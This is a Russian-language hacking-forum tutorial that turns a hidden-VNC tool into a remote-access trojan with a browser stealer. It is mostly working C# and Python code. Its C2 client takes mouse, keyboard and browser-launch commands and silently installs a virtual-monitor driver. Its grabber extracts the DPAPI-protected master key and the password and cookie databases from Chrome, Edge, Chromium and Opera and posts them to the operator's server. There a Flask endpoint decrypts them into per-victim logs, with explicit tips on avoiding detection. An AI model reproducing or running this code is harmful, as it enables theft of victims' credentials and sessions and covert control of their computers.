Пишем стиллер и добавляем его к HVNC

D2

Администратор
Регистрация
19 Фев 2025
Сообщения
4,380
Реакции
0
В этой статье мы продолжаем улучшать наш HVNC, который мы писали в этой статье - https://xss.is/threads/115012/#post-807180, и потихоньку будем делать из него не просто HVNC, а полноценный RAT.

P.S. В данной статье будет предоставлен полностью рабочий код, но он достаточно грязный и с некоторыми недочетами. Возможно, у вас появится вопрос, почему же я не предоставлю сразу хороший код. Дело в том, что я пишу проект на заказ, а то, что я использую в своих статьях, является черновыми вариантами софта для заказчика. Я не могу показать полностью готовый проект по понятным причинам. Но всё же хочу показать вам основы того, как вы можете реализовать подобный проект самостоятельно, так что я крайне не рекомендую просто бездумно брать мой код, а советую вчитываться в описание, которое я предоставляю.

Вне написания статьи я незначительно изменил код HVNC, вот список того, что было изменено в коде:
  1. Все функции в клиенте были переделаны на асинхронную работу, это помогло работе трансляции, так как раньше скриншоты отображались на трансляции не по порядку друг за другом, а путались и иногда показывались кадры, которые уже давно прошли. Теперь же трансляция работает корректно.
  2. Была переделана функция для установки драйвера виртуального монитора. Раньше монитор был с разрешением 1920 на 1080, теперь же он 1024 на 768, это позволяет делать скриншоты меньшего размера, из-за чего скриншоты быстрее отправляются с клиента на сервер и сервер быстрее их принимает.
  3. Добавлено несколько команд, которые отправляет сервер и принимает клиент, например, команда для остановки HVNC.
  4. Немного был изменен порядок запуска HVNC. Раньше при создании формы и только после запуска в ней браузера начинался запуск трансляции, теперь трансляция начинается после открытия формы.
  5. Добавлен запуск файлового менеджера Windows.
  6. Весь код клиента был разделен на несколько файлов для лучшей читаемости кода.
  7. Прибавление координат при эмуляции мыши по x было перенесено с сервера на клиент нормальным методом, который рассчитывает сам расстояние, а не указанием вручную.
  8. Добавлена эмуляция клавиатуры.
Полный код будет в конце статьи. В нем указано достаточно комментариев, если у вас будет желание изучить все не описанные мной изменения. А сейчас я покажу некоторые отрывки кода (они кажутся мне самыми интересными из всех изменений) с изменениями, которые были внесены вне предыдущей статьи.
C#: Скопировать в буфер обмена
Код:
public static async Task SendPostRequestAsync(string url, string data)
    {
        try
        {
            HttpWebRequest request = (HttpWebRequest)WebRequest.Create(url);
            request.Method = "POST";
            request.ContentType = "application/json";

            using (StreamWriter streamWriter = new StreamWriter(await request.GetRequestStreamAsync()))
            {
                string json = JsonConvert.SerializeObject(new { unique_id = data });
                await streamWriter.WriteAsync(json);
            }

            
            using (HttpWebResponse response = (HttpWebResponse)await request.GetResponseAsync())
            {
                
                using (StreamReader streamReader = new StreamReader(response.GetResponseStream()))
                {
                    string result = await streamReader.ReadToEndAsync();
                    Console.WriteLine("Ответ от сервера: " + result);

                    
                    dynamic responseObject = JsonConvert.DeserializeObject(result);

                  
                    if (responseObject.command != null && responseObject.command.ToString().StartsWith("move_mouse"))
                    {
                        await HVNC.MoveMouse(responseObject.command.ToString());
                    }

                    if (responseObject.command != null && responseObject.command.ToString().StartsWith("press_key"))
                    {
                        string command = responseObject.command.ToString();
                        string keyCodeString = command.Substring("press_key ".Length);
                        if (int.TryParse(keyCodeString, out int keyCode))
                        {
                            Console.WriteLine("Код нажатой клавиши: " + keyCode);
                            SimulateKeyPress(keyCode);
                        }
                        else
                        {
                            Console.WriteLine("Не удалось распознать код клавиши: " + keyCodeString);
                        }
                    }

                    if (responseObject.command != null && responseObject.command == "start_hvnc")
                    {
                        await HVNC.StartHVNC(responseObject.command.ToString());
                    }

                    if (responseObject.command != null && responseObject.command == "stop_hvnc")
                    {
                        await HVNC.StopHVNC(responseObject.command.ToString());
                    }

                    if (responseObject.command != null && responseObject.command == "start_hvnc_chrome")
                    {
                        await ChromeComands.StartChrome(responseObject.command.ToString());
                    }

                    if (responseObject.command != null && responseObject.command == "start_hvnc_explorer")
                    {
                        await ExplorerCommands.StartExplorer(responseObject.command.ToString());
                    }
                }
            }
        }
        catch (WebException e)
        {
            
            if (e.Response is HttpWebResponse response)
            {
                using (StreamReader reader = new StreamReader(response.GetResponseStream()))
                {
                    string errorText = reader.ReadToEnd();
                    Console.WriteLine($"Ошибка: {errorText}");
                }
            }
            else
            {
                Console.WriteLine($"Нет ответа от сервера: {e.Message}");
            }
        }
    }
Раньше в этом отрывке кода были части, которые отвечали за принятие команд, таких как запуск HVNC и запуск браузера. Теперь же в нем нет этого кода, он перенесен в отдельные файлы, а здесь лишь происходит вызов этих методов.

Вот пример:
C#: Скопировать в буфер обмена
Код:
if (responseObject.command != null && responseObject.command == "start_hvnc")
{
    await HVNC.StartHVNC(responseObject.command.ToString());
}
Этот код означает, что если принятая команда определена как start_hvnc, то асинхронно вызывается функция StartHVNC, которая в данном случае находится в файле HVNC в internal class HVNC. Понять, что вызов происходит асинхронно, вы можете по слову "await", ну и потому что в названии метода, в котором находится этот код, присутствует async Task.

Вот сама вызываемая функция:
C#: Скопировать в буфер обмена
Код:
public static async Task StartHVNC(string command)
    {

        try
        {
            Console.WriteLine("Запускаем HVNC.");
            string localAppDataPath = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData);
            string zipFilePath = Path.Combine(monitorDriverPath, "monitor.zip");
            string deviceInstallerPath = Path.Combine(monitorDriverPath, "deviceinstaller64.exe");

            if (!Directory.Exists(monitorDriverPath))
            {
                Directory.CreateDirectory(monitorDriverPath);
            }

            if (!File.Exists(deviceInstallerPath))
            {
                using (WebClient webClient = new WebClient())
                {
                    await webClient.DownloadFileTaskAsync(new Uri("{ip}/download_monitor"), zipFilePath);
                    ZipFile.ExtractToDirectory(zipFilePath, monitorDriverPath);
                }
                File.Delete(zipFilePath);
            }

            var cmd = new Process
            {
                StartInfo = new ProcessStartInfo
                {
                    FileName = "cmd.exe",
                    Arguments = $"/C cd /d \"{monitorDriverPath}\" && deviceinstaller64 install usbmmidd.inf usbmmidd",
                    UseShellExecute = false,
                    CreateNoWindow = true
                }
            };
            cmd.Start();
            cmd.WaitForExit();

            string registryPath = @"SOFTWARE\Microsoft\Windows NT\CurrentVersion\WUDF\Services\usbmmIdd\Parameters\Monitors";
            string valueName = "(По умолчанию)";
            string valueData = "1024,768";

            try
            {
                using (RegistryKey key = Registry.LocalMachine.OpenSubKey(registryPath, true))
                {
                    if (key == null)
                    {
                        using (RegistryKey newKey = Registry.LocalMachine.CreateSubKey(registryPath))
                        {
                            newKey.SetValue(valueName, valueData, RegistryValueKind.String);
                        }
                    }
                    else
                    {
                        key.SetValue(valueName, valueData, RegistryValueKind.String);
                    }
                }
                Console.WriteLine("Значение успешно записано в реестр.");
            }
            catch (Exception ex)
            {
                Console.WriteLine($"Ошибка при записи в реестр: {ex.Message}");
            }

            cmd = new Process
            {
                StartInfo = new ProcessStartInfo
                {
                    FileName = "cmd.exe",
                    Arguments = $"/C cd /d \"{monitorDriverPath}\" && deviceinstaller64 enableidd 1",
                    UseShellExecute = false,
                    CreateNoWindow = true
                }
            };
            cmd.Start();
            cmd.WaitForExit();

            foreach (var screen in Screen.AllScreens)
            {
                Console.WriteLine($"Монитор: {screen.DeviceName}, Разрешение: {screen.Bounds.Width}x{screen.Bounds.Height}");
            }

            Variables.lastScreen = Screen.AllScreens[Screen.AllScreens.Length - 1];
            Console.WriteLine($"Последний монитор: {Variables.lastScreen.DeviceName}, Разрешение: {Variables.lastScreen.Bounds.Width}x{Variables.lastScreen.Bounds.Height}");

            Application.EnableVisualStyles();
            Application.SetCompatibleTextRenderingDefault(false);
            Variables.hvncForm = new Form
            {
                StartPosition = FormStartPosition.Manual,
                FormBorderStyle = FormBorderStyle.None,
                Location = Variables.lastScreen.Bounds.Location,
                Size = new System.Drawing.Size(Variables.lastScreen.Bounds.Width, Variables.lastScreen.Bounds.Height),
                ShowInTaskbar = false
            };

            Variables.hvncForm.Load += async (sender, e) =>
            {
                IntPtr formHandle = Variables.hvncForm.Handle;
                Console.WriteLine($"Дескриптор формы: {formHandle}");

                await Translations.ScreenshotCallbackAsync();
            };
            Application.Run(Variables.hvncForm);
        }
        catch (Exception ex)
        {
            Console.WriteLine("Ошибка при запуске HVNC: " + ex.Message);
        }
    }
В данном коде внесены определенные изменения. Например, опять же добавлена асинхронность в метод. Также раньше драйвер виртуального монитора просто скачивался и запускался, затем создавалась форма, а в ней уже запускался хром. Теперь же после скачивания драйвера происходит изменение настроек разрешения будущего виртуального монитора.

За это отвечает этот код:
C#: Скопировать в буфер обмена
Код:
string registryPath = @"SOFTWARE\Microsoft\Windows NT\CurrentVersion\WUDF\Services\usbmmIdd\Parameters\Monitors";
string valueName = "(По умолчанию)";
string valueData = "1024,768";

try
{
    using (RegistryKey key = Registry.LocalMachine.OpenSubKey(registryPath, true))
    {
        if (key == null)
        {
                        
            using (RegistryKey newKey = Registry.LocalMachine.CreateSubKey(registryPath))
            {
                newKey.SetValue(valueName, valueData, RegistryValueKind.String);
            }
        }
        else
        {
            key.SetValue(valueName, valueData, RegistryValueKind.String);
        }
    }
    Console.WriteLine("Значение успешно записано в реестр.");
}
catch (Exception ex)
{
    Console.WriteLine($"Ошибка при записи в реестр: {ex.Message}");
}
В самом начале находятся переменные, в которых хранится путь в реестре, по которому находится параметр по умолчанию. В этом параметре хранится разрешение создаваемых мониторов. Данный код находит этот параметр по умолчанию и меняет его значения на 1024x768.

Теперь же я хочу показать, как я сделал прибавление координат по x для того, чтобы эмуляция происходила на нужном мониторе. Напомню, что раньше не было расчёта пикселей по x, а просто приписывалось конкретное число, то есть если бы у клиента было разрешение монитора не такое, как я указал, то эмуляция происходила бы некорректно.

C#: Скопировать в буфер обмена
Код:
var allScreens = Screen.AllScreens;
int totalXOffset = 0;

for (int i = 0; i < allScreens.Length - 1; i++)
{
    totalXOffset += allScreens[i].Bounds.Width;
}

x += totalXOffset;

Cursor.Position = new Point(x, y);
В данном коде происходит получение всех мониторов, затем из всех мониторов вычитается последний, а затем ширина всех этих мониторов (кроме последнего) прибавляется к полученным с сервера координатам. Таким образом, мышь будет эмулироваться именно на последнем мониторе, который и является нашим виртуальным.

В принципе, самое интересное из изменений я показал. Теперь приступим к пополнению функционала в нашем проекте, а именно — добавление сбора паролей и куки из браузера Chrome.

Для начала объясню, как это вообще работает, а затем покажу простые примеры реализации, затем будем уже писать полноценный код.

Для того чтобы расшифровать пароли из браузера, нам для начала нужно узнать, где они хранятся. В данном случае будем рассматривать браузер Chrome. Его пароли находятся по такому пути: AppData\Local\Google\Chrome\User Data\Default внутри файла Login Data. Login Data — это, по факту, база данных, у которой просто не указан формат файла, а формат у неё должен быть .db. То есть для его открытия мы будем в будущем использовать SQLite.

В базе данных пароли, конечно же, зашифрованы, и просто вытащить их и отправить у нас не получится. Пароли зашифрованы с использованием AES. Как шифровать с помощью AES я уже показывал в предыдущей своей теме о том, как сделать облако файлов. Теперь же рассмотрим его расшифровку.

Так как пароли зашифрованы через AES, то для расшифровки нам потребуется ключ. Ключ находится в AppData\Local\Google\Chrome\User Data внутри файла Local State

Объясняю, как получить корректный ключ для расшифровки:
В Local State находится JSON, нам потребуется читать его и находить в нём encrypted_key, в нём будет храниться ключ. Но не всё так просто, опять же. Этот ключ также зашифрован, и в нём находятся символы, которые нам не нужны, и они не являются частью ключа. А именно это первые 5 байтов ключа. В этих байтах хранится слово DPAPI. Поэтому перед расшифровкой нам потребуется для начала конвертировать ключ из base64 в байты, вырезать первые 5 байтов, затем конвертировать это обратно в base64 и расшифровать полученный обрезанный ключ, используя DPAPI. После этого мы получим полноценный ключ для расшифровки.

Также хочу уточнить, что DPAPI нельзя просто взять и расшифровать на стороне сервера, поэтому нам придётся расшифровывать его на клиенте, чтобы получить ключ. А вот AES можно расшифровать в любом месте, поэтому мы будем расшифровывать ключ на клиенте, передавать его вместе с зашифрованными паролями на сервер, и уже на сервере будем расшифровывать пароли с помощью полученного ключа. Таким образом, на клиенте будет проходить меньше подозрительных действий, что явно положительно скажется на детекте.
Теперь ещё раз по пунктам разложу, как будет происходить расшифровка ключа:
  1. Получение ключа из Local State
  2. Перевод ключа из base64 в байты
  3. Обрезание первых 5 байтов
  4. Перевод обратно в base64
  5. Расшифровка через DPAPI
Теперь объясню, как конкретно будет расшифровываться пароль из базы данных:
В столбце с паролем находится не только сам пароль, а также бесполезные для нас символы и IV.
IV — это случайные или псевдослучайные символы, которые помогают сделать уникальное шифрование данных и исключить повторение. Возможно, определение не самое точное, но как минимум даёт примерно понять, что это и для чего.

Теперь подробнее о том, где это всё в строке пароля находится:
  1. Первые 3 символа — это мусор, его мы будем удалять
  2. Затем, после 3 символа и до 15 символа идёт IV, его мы будем сохранять, так как он потребуется для расшифровки
  3. После 15 символа уже идёт сам зашифрованный пароль
Теперь, когда мы разобрали основы, приступим к написанию примерного кода, который наглядно показывает, как это в будущем будет работать в нашем проекте.

Получение и расшифровка ключа:
C#: Скопировать в буфер обмена
Код:
using System;
using System.IO;
using Newtonsoft.Json.Linq;
using System.Text;
using System.Linq;
using System.Security.Cryptography;

class Program
{
    static void Main(string[] args)
    {
        try
        {

            string localStatePath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), @"Google\Chrome\User Data\Local State");


            if (File.Exists(localStatePath))
            {

                string localStateData = File.ReadAllText(localStatePath);


                dynamic json = JObject.Parse(localStateData);


                string encryptedKeyBase64 = json.os_crypt.encrypted_key;


                byte[] encryptedKey = Convert.FromBase64String(encryptedKeyBase64);


                byte[] trimmedKey = encryptedKey.Skip(5).ToArray();

                byte[] decryptedKey = ProtectedData.Unprotect(trimmedKey, null, DataProtectionScope.CurrentUser);
                string decryptedKeyBase64 = Convert.ToBase64String(decryptedKey);
                Console.WriteLine($"Расшифрованный ключ (Base64): {decryptedKeyBase64}");

            }
            else
            {
                Console.WriteLine("Файл Local State не найден");
            }
        }
        catch (Exception ex)
        {
            Console.WriteLine($"Ошибка: {ex.Message}");
        }

        Console.ReadKey();
    }
}

  1. C#: Скопировать в буфер обмена
    string localStatePath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), @"Google\Chrome\User Data\Local State");
    Указывает путь до файла с ключом
  2. C#: Скопировать в буфер обмена
    string localStateData = File.ReadAllText(localStatePath);
    Считывает данные из файла
  3. C#: Скопировать в буфер обмена
    dynamic json = JObject.Parse(localStateData);
    Преобразует содержимое файла в json
  4. C#: Скопировать в буфер обмена
    string encryptedKeyBase64 = json.os_crypt.encrypted_key;
    Ищет ключ по encrypted_key
  5. C#: Скопировать в буфер обмена
    byte[] encryptedKey = Convert.FromBase64String(encryptedKeyBase64);
    Декодирует ключ из base64 в байты
  6. C#: Скопировать в буфер обмена
    byte[] trimmedKey = encryptedKey.Skip(5).ToArray();
    Удаляет первые 5 байтов
  7. C#: Скопировать в буфер обмена
    Код:
    byte[] decryptedKey = ProtectedData.Unprotect(trimmedKey, null, DataProtectionScope.CurrentUser);
    string decryptedKeyBase64 = Convert.ToBase64String(decryptedKey);
    Console.WriteLine($"Расшифрованный ключ (Base64): {decryptedKeyBase64}");
    Расшифровывает через DPAPI используя библиотеку System.Security.Cryptography
Теперь рассмотрим код для расшифровки пароля с использованием полученного ранее ключа:
Python: Скопировать в буфер обмена
Код:
import sqlite3
import base64
from Crypto.Cipher import AES

def decrypt_password(buffer, master_key):
    try:
        iv = buffer[3:15]
        payload = buffer[15:]
        cipher = AES.new(master_key, AES.MODE_GCM, iv)
        decrypted_pass = cipher.decrypt(payload)[:-16].decode()
        return decrypted_pass
    except Exception as e:
        return f"Error decrypting password: {e}"

def main():

    login_data_path = ""

    connection = sqlite3.connect(login_data_path)
    cursor = connection.cursor()

    cursor.execute("SELECT password_value FROM logins")

    for row in cursor.fetchall():
        encrypted_password = row[0]
        decrypted_password = decrypt_password(encrypted_password, master_key)
        print("Decrypted Password:", decrypted_password)

    connection.close()

if __name__ == "__main__":
    master_key_base64 = ""
    master_key = base64.b64decode(master_key_base64)

    main()

  1. Python: Скопировать в буфер обмена
    Код:
    def decrypt_password(buffer, master_key):
        try:
            iv = buffer[3:15]
            payload = buffer[15:]
            cipher = AES.new(master_key, AES.MODE_GCM, iv)
            decrypted_pass = cipher.decrypt(payload)[:-16].decode()
            return decrypted_pass
        except Exception as e:
            return f"Error decrypting password: {e}"
    Пропускает первые 3 символа и от 4 до 15 символа определяет символы как IV. Затем от 15 символа и до конца определяет как пароль. Расшифровывает пароль через AES с использованием ключа, который будет указан ниже.
  2. Python: Скопировать в буфер обмена
    login_data_path
    Путь до файла базы данных с паролями
  3. Python: Скопировать в буфер обмена
    Код:
    connection = sqlite3.connect(login_data_path)
    cursor = connection.cursor()
    Подключение к базе данных
  4. Python: Скопировать в буфер обмена
    cursor.execute("SELECT password_value FROM logins")
    Выполнения запроса к таблице logins а внутри нее к столбцу password_value
  5. Python: Скопировать в буфер обмена
    master_key_base64
    Ключ в формате бейс 64
  6. Python: Скопировать в буфер обмена
    master_key = base64.b64decode(master_key_base64)
    Декодирование ключа в байты
Пример мы рассмотрели, теперь реализуем это на практике внутри нашего проекта HVNC.
Для начала дополним клиент так, чтобы он мог собирать пароли и куки и отправлять их вместе с ключом.
  1. Первым делом создадим метод BrowserGrabber.
  2. Внутри метода укажем словарь до основных папок браузера, где находится файл с ключом.
    C#: Скопировать в буфер обмена
    Код:
    Dictionary<string, string> browserPaths = new Dictionary<string, string>{
        { "Google Chrome", Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), @"Google\Chrome\User Data") },
        { "Microsoft Edge", Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), @"Microsoft\Edge\User Data") },
        { "Chromium", Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), @"Chromium\User Data") },
        { "Opera", Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), @"Opera Software\Opera Stable") }
    };
  3. Создаем основной JSON объект в котором будет храниться вся информация.
    C#: Скопировать в буфер обмена
    JObject mainJson = new JObject();
  4. Так же в цикле foreach считываем содержимое из файла с ключом
    C#: Скопировать в буфер обмена
    string localStateData = File.ReadAllText(localStatePath);
  5. Преобразуем полученное содержимое в json
    C#: Скопировать в буфер обмена
    dynamic json = JObject.Parse(localStateData);
  6. Ищем в содержимом ключ
    C#: Скопировать в буфер обмена
    string encryptedKeyBase64 = json.os_crypt.encrypted_key;
  7. Декодируем полученный ключ в байты
    C#: Скопировать в буфер обмена
    byte[] encryptedKey = Convert.FromBase64String(encryptedKeyBase64);
  8. Удаляем первые 5 байтов
    C#: Скопировать в буфер обмена
    byte[] trimmedKey = encryptedKey.Skip(5).ToArray();
  9. Расшифровка ключа через DPAPI
    C#: Скопировать в буфер обмена
    byte[] decryptedKey = ProtectedData.Unprotect(trimmedKey, null, DataProtectionScope.CurrentUser); string decryptedKeyBase64 = Convert.ToBase64String(decryptedKey);
  10. Создание объекта для браузера чей ключ был найден
    C#: Скопировать в буфер обмена
    Код:
    JObject browserJson = new JObject{
        ["key"] = decryptedKeyBase64
    };
  11. Рекурсивный поиск файла с куки и паролями.
    C#: Скопировать в буфер обмена
    var loginDataFiles = Directory.GetFiles(userDataPath, "Login Data", SearchOption.AllDirectories);var cookiesFiles = Directory.GetFiles(userDataPath, "Cookies", SearchOption.AllDirectories);
  12. Найденные файлы конвертируются в base64 а затем добавляются в json объект браузера
    C#: Скопировать в буфер обмена
    Код:
    JArray loginDataArray = new JArray(); foreach (var loginDataPath in loginDataFiles)
     {
         try
         {
             if (File.Exists(loginDataPath))
             {
                 byte[] loginDataBytes = File.ReadAllBytes(loginDataPath);
                 string loginDataBase64 = Convert.ToBase64String(loginDataBytes);
                 loginDataArray.Add(loginDataBase64);
             }
         }
         catch (Exception ex)
         {
             Console.WriteLine($"Не удалось получить доступ к файлу Login Data: {loginDataPath}. Ошибка: {ex.Message}");
             continue;
         }
     }
     browserJson["login_data"] = loginDataArray;
  13. Тоже самое для файла с куки
    C#: Скопировать в буфер обмена
    Код:
    JArray cookiesArray = new JArray();                    
    foreach (var cookiesPath in cookiesFiles)
                        {
                            try
                            {
                                if (File.Exists(cookiesPath))
                                {
                                    byte[] cookiesDataBytes = File.ReadAllBytes(cookiesPath);
                                    string cookiesDataBase64 = Convert.ToBase64String(cookiesDataBytes);
                                    cookiesArray.Add(cookiesDataBase64);
                                }
                            }
                            catch (Exception ex)
                            {
                                Console.WriteLine($"Не удалось получить доступ к файлу Cookies: {cookiesPath}. Ошибка: {ex.Message}");
                                continue;
                            }
                        }
                        browserJson["cookies"] = cookiesArray;
  14. После записи всех нужных данных в объект браузера, объект браузера добавляется в основной объект:
    C#: Скопировать в буфер обмена
    mainJson[browserName] = browserJson;
    Так как весь этот код находится в цикле foreach, этот код будет повторяться из раза в раз, пока не закончится весь список из словаря с путями.
  15. Отправка JSON на сервер на адрес browser_log плюс уникальный идентификатор пользователя:
    C#: Скопировать в буфер обмена
    await SendPostRequestAsync($"{Variables.ip}/browser_log/{Variables.uniqueId}", mainJson.ToString());
Для тех, кто не хочет изучать код построчно, вот полный код функции.
C#: Скопировать в буфер обмена
Код:
static async Task BrowserGrabber()
{
    try
    {
        Dictionary<string, string> browserPaths = new Dictionary<string, string>
        {
            { "Google Chrome", Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), @"Google\Chrome\User Data") },
            { "Microsoft Edge", Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), @"Microsoft\Edge\User Data") },
            { "Chromium", Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), @"Chromium\User Data") },
            { "Opera", Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), @"Opera Software\Opera Stable") }
        };


        JObject mainJson = new JObject();

        foreach (var browser in browserPaths)
        {
            string browserName = browser.Key;
            string userDataPath = browser.Value;

            Console.WriteLine($"Используется браузер: {browserName}");
            Console.WriteLine($"Путь к папке User Data: {userDataPath}");


            string localStatePath = Path.Combine(userDataPath, "Local State");
            if (File.Exists(localStatePath))
            {

                string localStateData = File.ReadAllText(localStatePath);

                dynamic json = JObject.Parse(localStateData);

                string encryptedKeyBase64 = json.os_crypt.encrypted_key;

                byte[] encryptedKey = Convert.FromBase64String(encryptedKeyBase64);

                byte[] trimmedKey = encryptedKey.Skip(5).ToArray();


                byte[] decryptedKey = ProtectedData.Unprotect(trimmedKey, null, DataProtectionScope.CurrentUser);
                string decryptedKeyBase64 = Convert.ToBase64String(decryptedKey);
                Console.WriteLine($"Расшифрованный ключ (Base64): {decryptedKeyBase64}");

                JObject browserJson = new JObject
                {
                    ["key"] = decryptedKeyBase64
                };


                var loginDataFiles = Directory.GetFiles(userDataPath, "Login Data", SearchOption.AllDirectories);
                var cookiesFiles = Directory.GetFiles(userDataPath, "Cookies", SearchOption.AllDirectories);


                JArray loginDataArray = new JArray();
                foreach (var loginDataPath in loginDataFiles)
                {
                    try
                    {
                        if (File.Exists(loginDataPath))
                        {
                            byte[] loginDataBytes = File.ReadAllBytes(loginDataPath);
                            string loginDataBase64 = Convert.ToBase64String(loginDataBytes);
                            loginDataArray.Add(loginDataBase64);
                        }
                    }
                    catch (Exception ex)
                    {
                        Console.WriteLine($"Не удалось получить доступ к файлу Login Data: {loginDataPath}. Ошибка: {ex.Message}");
                        continue;
                    }
                }
                browserJson["login_data"] = loginDataArray;

                JArray cookiesArray = new JArray();
                foreach (var cookiesPath in cookiesFiles)
                {
                    try
                    {
                        if (File.Exists(cookiesPath))
                        {
                            byte[] cookiesDataBytes = File.ReadAllBytes(cookiesPath);
                            string cookiesDataBase64 = Convert.ToBase64String(cookiesDataBytes);
                            cookiesArray.Add(cookiesDataBase64);
                        }
                    }
                    catch (Exception ex)
                    {
                        Console.WriteLine($"Не удалось получить доступ к файлу Cookies: {cookiesPath}. Ошибка: {ex.Message}");
                        continue;
                    }
                }
                browserJson["cookies"] = cookiesArray;


                mainJson[browserName] = browserJson;
            }
            else
            {
                Console.WriteLine($"Файл Local State для браузера {browserName} не найден");
            }
        }


        await SendPostRequestAsync($"{Variables.ip}/browser_log/{Variables.uniqueId}", mainJson.ToString());
    }
    catch (Exception ex)
    {
        Console.WriteLine($"Ошибка: {ex.Message}");
    }
}

Теперь, когда мы написали и разобрали метод, нужно его где-то вызывать. Мне кажется лучшим вариантом будет при первичном запуске клиента, то есть когда уникальный идентификатор не найден и клиент его создает. Вот как это выглядит в коде:
C#: Скопировать в буфер обмена
Код:
// Загрузка или создание уникального идентификатора
if (File.Exists(filePath))
{
    Variables.uniqueId = File.ReadAllText(filePath).Trim(); // Загрузка уникального идентификатора из файла
}
else
{
    Variables.uniqueId = Guid.NewGuid().ToString(); // Генерация нового уникального идентификатора
    await WriteToFileAsync(filePath, Variables.uniqueId); // Запись уникального идентификатора в файл
    await SendPostRequestAsync($"{Variables.ip}/receive_id", Variables.uniqueId); // Отправка уникального идентификатора на сервер
    await BrowserGrabber(); // Вызов сбора файлов браузера и расшифровки ключа
}

Рассмотрим теперь серверную часть кода, которая будет принимать JSON и расшифровывать AES.
Python: Скопировать в буфер обмена
Код:
def decrypt_password(buffer, master_key):
    try:
        iv = buffer[3:15]
        payload = buffer[15:]
        cipher = AES.new(master_key, AES.MODE_GCM, iv)
        decrypted_pass = cipher.decrypt(payload)[:-16].decode()
        return decrypted_pass
    except Exception as e:
        return f"Error decrypting password: {e}"


def decrypt_cookie(buffer, master_key):
    try:
        iv = buffer[3:15]
        payload = buffer[15:]
        cipher = AES.new(master_key, AES.MODE_GCM, iv)
        decrypted_cookie = cipher.decrypt(payload)[:-16].decode()
        return decrypted_cookie
    except Exception as e:
        return f"Error decrypting cookie: {e}"


def process_cookies(cookies_db, master_key, cookies_file_path):
    try:
        cookies_list = ''

        temp_cookies_db = os.path.join(os.path.dirname(cookies_file_path), f"temp_cookies_db_{time.time()}.db")

        with open(temp_cookies_db, "wb") as f:
            f.write(cookies_db)

        conn = sqlite3.connect(temp_cookies_db)
        cursor = conn.cursor()
        cursor.execute("SELECT host_key, name, encrypted_value, path, expires_utc, is_secure, is_httponly FROM cookies")

        for item in cursor.fetchall():
            try:
                decrypted_value = decrypt_cookie(item[2], master_key)
                if decrypted_value:
                    cookies_list += f'{item[0]}\t{str(bool(item[5])).upper()}\t{item[3]}\t{str(bool(item[6])).upper()}\t{item[4]}\t{item[1]}\t{decrypted_value}\n'
            except sqlite3.Error as e:
                print(f"Error cookies: {e}")

        conn.close()
        os.remove(temp_cookies_db)

        if cookies_list:
            with open(cookies_file_path, 'w') as cookies_file:
                cookies_file.write(cookies_list)

    except Exception as e:
        print(f"Error cookies: {e}")


@app.route('/browser_log/<unique_id>', methods=['POST'])
def receive_browser_log(unique_id):
    try:
        data = request.json
        if data is None or not isinstance(data, dict):
            return json.dumps({'error': 'Некорректный формат данных.'}, ensure_ascii=False), 400

        client_data_str = data.get("Client")
        if client_data_str is None:
            return json.dumps({'error': 'Данные для браузеров отсутствуют в запросе.'}, ensure_ascii=False), 400

        client_data = json.loads(client_data_str)

        unique_id_logs_dir = os.path.join(app.root_path, 'logs', unique_id)
        os.makedirs(unique_id_logs_dir, exist_ok=True)

        passwords_file_path = os.path.join(unique_id_logs_dir, 'passwords.txt')
        with open(passwords_file_path, 'w') as passwords_file:
            for browser_name, browser_data in client_data.items():
                key_base64 = browser_data.get("key")
                if key_base64 is None:
                    print(f'В браузере {browser_name} отсутствует ключ.')
                    continue

                key = base64.b64decode(key_base64)

                for param_name, param_value in browser_data.items():
                    if param_name == "key":
                        continue

                    if isinstance(param_value, list):
                        for idx, file_data in enumerate(param_value):
                            try:
                                decoded_data = base64.b64decode(file_data)
                                db_name = f'{browser_name}_{param_name}_{idx}.db'
                                db_path = os.path.join(unique_id_logs_dir, db_name)

                                with open(db_path, 'wb') as db_file:
                                    db_file.write(decoded_data)

                                if param_name == "login_data":
                                    connection = sqlite3.connect(db_path)
                                    cursor = connection.cursor()
                                    cursor.execute("SELECT origin_url, username_value, password_value FROM logins")

                                    for row in cursor.fetchall():
                                        origin_url = row[0]
                                        username_value = row[1]
                                        encrypted_password = row[2]

                                        decrypted_password = decrypt_password(encrypted_password, key)
                                        if decrypted_password and username_value:
                                            passwords_file.write(f'Browser: {browser_name}\n')
                                            passwords_file.write(f'Origin URL: {origin_url}\n')
                                            passwords_file.write(f'Username: {username_value}\n')
                                            passwords_file.write(f'Password: {decrypted_password}\n')
                                            passwords_file.write('\n')

                                    print(f"Файл {db_name} успешно сохранен и пароли расшифрованы.")
                                    connection.close()

                                elif param_name == "cookies":
                                    cookies_file_path = os.path.join(unique_id_logs_dir, f'cookies_{browser_name}_{idx}.txt')
                                    process_cookies(decoded_data, key, cookies_file_path)
                                    print(f"Файл {db_name} успешно сохранен и cookies расшифрованы.")

                                # Удаление временного файла базы данных после обработки
                                os.remove(db_path)

                            except Exception as e:
                                print(f"Ошибка при обработке файла: {str(e)}")

        print("Получены данные от клиента с уникальным идентификатором:", unique_id)

        return json.dumps({'message': 'Данные успешно получены и обработаны.'}, ensure_ascii=False), 200
    except Exception as e:
        return json.dumps({'error': f'Ошибка при обработке данных: {str(e)}'}, ensure_ascii=False), 500

Теперь рассмотрим этот код по частям.
  1. Python: Скопировать в буфер обмена
    def receive_browser_log(unique_id):
    Данная функция первым делом принимает JSON от клиента
  2. Python: Скопировать в буфер обмена
    Код:
    unique_id_logs_dir = os.path.join(app.root_path, 'logs', unique_id)
    os.makedirs(unique_id_logs_dir, exist_ok=True)
    Создание дирректории в которой будут храниться логи. Папка с логом у каждого из клиентов будет названа в честь его уникального ID
  3. Python: Скопировать в буфер обмена
    passwords_file_path = os.path.join(unique_id_logs_dir, 'passwords.txt')
    Путь до файла в котором будут записаны пароли
  4. Python: Скопировать в буфер обмена
    Код:
    key_base64 = browser_data.get("key")
    if key_base64 is None:
